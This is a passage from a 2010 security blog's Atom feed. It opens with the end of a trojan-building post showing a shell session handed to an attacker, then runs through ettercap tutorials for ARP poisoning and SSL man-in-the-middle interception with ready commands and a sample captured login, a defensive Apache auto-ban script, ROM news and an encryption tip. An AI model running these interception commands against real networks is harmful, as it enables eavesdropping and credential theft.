&lt;br /&gt;
Processing triggers for menu ...&lt;br /&gt;
Processing triggers for man-db ...&lt;/div&gt;&lt;br /&gt;
And the attacker is greeted with a nice little message:&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Sending stage (36 bytes)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Sending stage (36 bytes)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Command shell session 2 opened (192.168.168.13:9999 -&amp;gt; 192.168.168.144:52402)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;hostname&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;bt&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;whoami&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;root&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Todays lesson: stick to software in a trusted repository unless you really trust your source.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-7154699207061867165?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/udlvMMwAGu4bl4XRjDc7yWf7-VU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/udlvMMwAGu4bl4XRjDc7yWf7-VU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/udlvMMwAGu4bl4XRjDc7yWf7-VU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/udlvMMwAGu4bl4XRjDc7yWf7-VU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/WSWUNAFdsyw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/7154699207061867165/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/build-your-own-trojan-pt-2.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7154699207061867165?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7154699207061867165?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/WSWUNAFdsyw/build-your-own-trojan-pt-2.html" title="Build Your Own Trojan, Pt. 2" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/build-your-own-trojan-pt-2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEFQHY8eip7ImA9WxBUFU0.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-5516249723454958243</id><published>2010-03-01T19:14:00.000-08:00</published><updated>2010-03-01T19:30:11.872-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-01T19:30:11.872-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Droid" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>Smoked Glass Rom 5.0.1 ... and CM?</title><content type="html">I missed this update, its downloading now. Adamz finally has the smoked glass rom in a format that works with the standard flashing system... and its now version 5, dude works fast. This is a huge update and i'm looking forward to messing with it.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://alldroid.org/viewtopic.php?f=311&amp;amp;t=2853"&gt;http://alldroid.org/viewtopic.php?f=311&amp;amp;t=2853&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span style="text-decoration: underline;"&gt;&lt;span style="color: #400080;"&gt;February 27, 2010&lt;/span&gt;&lt;/span&gt; &lt;i&gt;(5.0 &amp;amp; 5.0.1)&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="text-decoration: underline;"&gt;&lt;i&gt;5.0.1&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
- Just a really quick update.  I added the Beta 3 version of 2.1 Launcher (Greek35T).  Even less issues!&lt;br /&gt;
&lt;span style="text-decoration: underline;"&gt;&lt;i&gt;5.0&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #ff4000;"&gt;***&lt;/span&gt; &lt;i&gt;Largest update is the ROM format... you get complete customization.  Make the ROM your own!&lt;/i&gt;&lt;br /&gt;
- Options to Wipe Data and Wipe Data &amp;amp; keep Apps&lt;br /&gt;
- Options to Wipe Cache&lt;br /&gt;
- Option to copy HTC IME Keyboard to SD Card (thanks to &lt;span style="color: navy;"&gt;jonasl&lt;/span&gt; at XDA)&lt;br /&gt;
- New version of 2.1 Launcher - Fixes Landscape and less FCing (thanks to &lt;span style="color: navy;"&gt;Greek35T&lt;/span&gt;)&lt;br /&gt;
- Fixed issue of speed and FCing of 2.0.1 Launcher...  sorry about that.&lt;br /&gt;
- Live Wallpapers (Interactive with Launcher2) (thanks to &lt;span style="color: navy;"&gt;xeudoxus&lt;/span&gt;)&lt;br /&gt;
- 2.0 Lockscreen Vibrate Hack (Lockscreen will take you to vibrate... Long-press of power will silence)&lt;br /&gt;
- Two options for boot.img... 250-1100 MHz and 250-800 MHz.&lt;br /&gt;
- Option to choose which ROM from installation - Full Theme, Full with Blue Clock/Notifications, and Glass Only Theme&lt;br /&gt;
- Brought back the option to include Milestone MediaGallery and PhotoEditor&lt;br /&gt;
- Option to install Wifi Tether from the ROM Installation... no extra download necessary. (same version as before)&lt;br /&gt;
- Option to install the Audio Toggle App&lt;br /&gt;
- Option to install the Low Brightness App&lt;br /&gt;
- Option to install Droid Font&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;...&lt;/i&gt;&lt;br /&gt;
&lt;i&gt; &lt;/i&gt;&lt;br /&gt;
Also, check this out.. renowned rom maker Cyanogen has a 2.1 rom working on the Droid.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://alldroid.org/viewtopic.php?f=328&amp;amp;t=2260"&gt;http://alldroid.org/viewtopic.php?f=328&amp;amp;t=2260&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Anyone have info on it? im sure I will try it out before long&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-5516249723454958243?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/84YjkaFUdX_Uy469jCb0_jhWqFU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/84YjkaFUdX_Uy469jCb0_jhWqFU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/84YjkaFUdX_Uy469jCb0_jhWqFU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/84YjkaFUdX_Uy469jCb0_jhWqFU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/EKZkisXIrFo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/5516249723454958243/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/smoked-glass-rom-501.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/5516249723454958243?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/5516249723454958243?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/EKZkisXIrFo/smoked-glass-rom-501.html" title="Smoked Glass Rom 5.0.1 ... and CM?" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/smoked-glass-rom-501.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08CQnkyeip7ImA9WxBUFEo.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-7378907487637241562</id><published>2010-03-01T12:37:00.000-08:00</published><updated>2010-03-01T12:37:43.792-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-01T12:37:43.792-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>SSL Man In The Middle with Ettercap</title><content type="html">Playing a bit more with ettercap, this time around we'll look at enabling SSL Man in the Middle attacks so that we can retrieve data from encrypted connections as well as clear-text ones. &lt;br /&gt;
&lt;br /&gt;
Edit /etc/etter.conf and set both the user and group id to 0, this is dangerous if someone has a method for counter attacking against ettercap, but it lets ettercap set iptables rules in order to forward ports for breaking SSL connections and substituting certificates. Those iptables rules are allready in etter.conf, and just need to be uncommented:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"&lt;/div&gt;&lt;div style="color: #990000;"&gt;redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"&lt;/div&gt;&lt;br /&gt;
You may also need to enable network forwarding:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;#echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/div&gt;&lt;br /&gt;
To get away from the noisy method used previously it's best to just pick on one host at a time, a quiet nmap of the network should give you an idea of which ip addresses on the network will make a good target, windows desktops are the best option obviously.&lt;br /&gt;
&lt;br /&gt;
All you need to do is fire up ettercap like before but use an extra remote tag and plug in your victim ip address, I chose .24, a windows 7 machine.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#ettercap -Tqi wlan0 -M arp:remote /192.168.168.168/ /192.168.168.24/&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This is where the attacker now depends on user ignorance and/or impatience, as when the victim tries to visit a site that uses SSL to encrypt the connection they will receive a giant warning screen telling them that somthing is wrong... which most users promptly ignore...&lt;br /&gt;
&lt;br /&gt;
By accepting the invalid certificate which ettercap has provided them, the attackers machine now sees in cleartext all of the data that should have been encrypted. Furthermore, when ettercap sniffs a login packet, it immediately displays the contents of it to the attacker in a nice easy to read format such as this:&lt;br /&gt;
&lt;br /&gt;
HTTP : 65.54.165.179:443 -&amp;gt; USER: [removed]@hotmail.com&amp;nbsp; PASS: [removed] INFO: login.live.com/ppsecure/post.srf?wa=wsignin1.0&amp;amp;rpsnv=11&amp;amp;ct=1267474281&amp;amp;rver=6.0.5285.0&amp;amp;wp=MBI&amp;amp;wreply=http://mail.live.com/default.aspx&amp;amp;lc=1033&amp;amp;id=6485&lt;br /&gt;
&lt;br /&gt;
Ofcourse i removed the username and password since I don't want to show the world, but you can try this with your own account and see them clear as day.&lt;br /&gt;
&lt;br /&gt;
This attack can be particularly devastating if crafted to target services that use expired, self signed, or otherwise problematic certificates which have made all of their users used to simply ignoring the warning given to them by their browser, the one chance users have to stop and think twice is destroyed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-7378907487637241562?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8tWuT0QwXUgIyHVhz1qw4XzQTUc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8tWuT0QwXUgIyHVhz1qw4XzQTUc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8tWuT0QwXUgIyHVhz1qw4XzQTUc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8tWuT0QwXUgIyHVhz1qw4XzQTUc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/8BRJR-l1lJo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/7378907487637241562/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/ssl-man-in-middle-with-ettercap.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7378907487637241562?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7378907487637241562?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/8BRJR-l1lJo/ssl-man-in-middle-with-ettercap.html" title="SSL Man In The Middle with Ettercap" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/ssl-man-in-middle-with-ettercap.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8NQXw4fyp7ImA9WxBUFE8.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-1477089533942306660</id><published>2010-02-28T21:15:00.000-08:00</published><updated>2010-02-28T21:21:30.237-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-28T21:21:30.237-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Basic Arp Poisoning with Ettercap</title><content type="html">A simple one-liner in ettercap allows for the poisoning of a network to vastly improve the results gained in packet captures. This is a "noisy" method which will generate a large amount of traffic on a network and will be easily detected in any reasonably sophisticated infrastructure or by anyone running an IDS, however in small scale networks (a small business, coffee shop, public hotspot, etc.) it is unlikely to be noticed in the short run.&lt;br /&gt;
&lt;br /&gt;
The quick and dirty:&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:~# ettercap -i wlan0 -T -q -M ARP /192.168.168.168/ //&lt;/div&gt;&lt;br /&gt;
This tells ettercap to use wireless inteface 0, go into Text mode, use quiet output, and start ARP poisoning the local gateway (in this instance, 192.168.168.168).&lt;br /&gt;
&lt;br /&gt;
What ettercap will then do is start sending ARP reply packets to every other host on the network advertising the attackers machine as the correct route to send any packets destined for 192.168.168.168... that address being the gateway, this causes all traffic on the network that is outbound to the net to be sent through the attackers machine first where they can sniff or manipulate it at will.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_zYnlWpU7s_s/S4tNVU0ESOI/AAAAAAAAAC8/GBqqUM-k7a0/s1600-h/ettercap1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/_zYnlWpU7s_s/S4tNVU0ESOI/AAAAAAAAAC8/GBqqUM-k7a0/s640/ettercap1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
As you can see, by firing up wireshark and telling it to filter for 'http' we can see the web traffic of other machines on the network, this packet being a simple weather update request from a smartphone on the network .. but you get the idea, it will show the attacker anything thats in clear text.&lt;br /&gt;
&lt;div style="color: #990000;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-1477089533942306660?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/flw6XrLXa7skNjMUVfurCGbOluU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/flw6XrLXa7skNjMUVfurCGbOluU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/flw6XrLXa7skNjMUVfurCGbOluU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/flw6XrLXa7skNjMUVfurCGbOluU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/BhmaGJYNd4s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/1477089533942306660/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/arp-poisoning-with-ettercap.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/1477089533942306660?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/1477089533942306660?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/BhmaGJYNd4s/arp-poisoning-with-ettercap.html" title="Basic Arp Poisoning with Ettercap" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_zYnlWpU7s_s/S4tNVU0ESOI/AAAAAAAAAC8/GBqqUM-k7a0/s72-c/ettercap1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/arp-poisoning-with-ettercap.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcCRXYyfCp7ImA9WxBUFE0.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-7264525270921749604</id><published>2010-02-26T20:29:00.000-08:00</published><updated>2010-02-28T17:31:04.894-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-28T17:31:04.894-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Scripting" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Active Apache Defense</title><content type="html">Running a web-server that is publicly accessible will quickly get one familiar with the onslaught of attempts to find vulnerable web applications on that site. Whether they are individual attackers, scripted scans, or just someone poking around, it's traffic you dont need and a source that you want nothing to with.. or rather, you want them to have nothing to do with your system.&lt;br /&gt;
&lt;br /&gt;
This method, which was created with some collaboration with a peer of mine at school (who solved a huge security hole in it.. that whole escaping shell commands thing, pretty important), uses the apache mod_rewrite engine and a php/shell script combo to dynamically add iptables rules when specified urls are loaded against your server, the vast majority of the time a potential attacker will be banned before they even realize what happened.&lt;br /&gt;
&lt;br /&gt;
First, create the php script, this one is about three revisions of tweaking and seems to work quite effectively...&lt;br /&gt;
&lt;br /&gt;
testBan.php:&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;$banme=$_SERVER['REMOTE_ADDR'];&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;$myFile="ban.txt";&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;$fh = fopen($myFile, 'a') or die("Can't Open File");&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;fwrite($fh, $banme);&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;fwrite($fh, "\n");&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;fclose($fh);&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;$e = escapeshellcmd($banme);&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;system("/var/www/localhost/htdocs/sec/ignore.sh $e");&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;echo "&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;&lt;span style="color: #990000;"&gt;&lt;b&gt;Security Violation:&lt;b&gt; The IP Address $banme has been logged and added to the blacklist"; &lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;b&gt;The echo is really for debugging purposes, there is no real need to let someone know that they've been banned. &lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style="color: white;"&gt;&lt;b&gt;&lt;b&gt;ignore.sh&lt;/b&gt;&lt;/b&gt;&lt;b&gt;&lt;b&gt;:&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;span style="color: #990000;"&gt;&lt;b&gt;&lt;b&gt;#!/bin/bash&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;b&gt;&lt;br style="color: #990000;" /&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;for i in $(cat ignorefile); do&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if [ $1 == $i ] &lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;then exit&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fi&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;done&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;sudo iptables -A INPUT -s $1 -j APACHE&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;echo $1 &amp;gt;&amp;gt; ignorefile&lt;/span&gt;&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;b&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/b&gt;&lt;b&gt;&lt;b&gt;That iptables rule sends the traffic to a chain called APACHE, I like to direct it there for logging purposes, you could just as easily drop or reject the traffic outright. &lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;b&gt;Next, create or add to a .htaccess file in your web root directory and create rewrite rules based on the kind of access attempts you notice to be common. Collecting a group of these common attempts is pretty easy, just grep your apache error log for " 404 " and you will see large groups of attempts to find things like roundcube or phpmyadmin.&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;b&gt;a basic mod_rewrite setup for looks like this:&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;&lt;b&gt;&lt;b&gt;RewriteEngine On&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;&lt;b&gt;RewriteRule ^phpmyadmin/ /sec/testBan.php [R=301,L]&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;&lt;b&gt;RewriteRule ^roundcube/ /sec/testBan.php [R=301,L]&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;&lt;b&gt;RewriteRule ^XMBforum/ /sec/testBan.php [R=301,L]&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;&lt;b&gt;RewriteRule ^webmail/ /sec/testBan.php [R=301,L]&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;b&gt;There are plenty of more complex regex based rewrites you could use to trap even more attempts, these are just a simple example. Make sure none of your rewrites match a legitimate site URL or you'll end up blocking welcome traffic accidentally. &lt;/b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-7264525270921749604?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zcCJUvRDNPRkWSzEjvCj2-x_VdU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zcCJUvRDNPRkWSzEjvCj2-x_VdU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zcCJUvRDNPRkWSzEjvCj2-x_VdU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zcCJUvRDNPRkWSzEjvCj2-x_VdU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/XDw8tCUDHd0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/7264525270921749604/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/active-apache-defense.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7264525270921749604?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7264525270921749604?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/XDw8tCUDHd0/active-apache-defense.html" title="Active Apache Defense" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/active-apache-defense.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0UAR346eSp7ImA9WxBUEk4.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-8358779914793096040</id><published>2010-02-26T18:53:00.000-08:00</published><updated>2010-02-26T18:54:06.011-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-26T18:54:06.011-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Encryption" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Simple Full Disk Encryption</title><content type="html">If you are installing ubuntu, you can setup an encrypted LVM as your root partition almost effortlessly. You just need to download the alternate disk rather than the normal live disk.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://ftp.ucsb.edu/pub/mirrors/linux/ubuntu/9.10/ubuntu-9.10-alternate-amd64.iso.torrent"&gt;http://ftp.ucsb.edu/pub/mirrors/linux/ubuntu/9.10/ubuntu-9.10-alternate-amd64.iso.torrent&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This disk will go into the old TUI style installer interface rather than booting a live Ubuntu session, however during the partitioning stage of the install there is an option available for a guided install using an encrypted LVM setup. After select and confirming that option, it will then prompt for a password... make it a good one, and one that you'll remember.&lt;br /&gt;
&lt;br /&gt;
Using this method it is virtually impossible to boot into the operating system or read anything on the disk without knowing the password that you set, and attempting to crack the encryption would be a monumental and expensive effort.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-8358779914793096040?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/CNVQHNYBT2omU408SdIsutDwqI0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CNVQHNYBT2omU408SdIsutDwqI0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
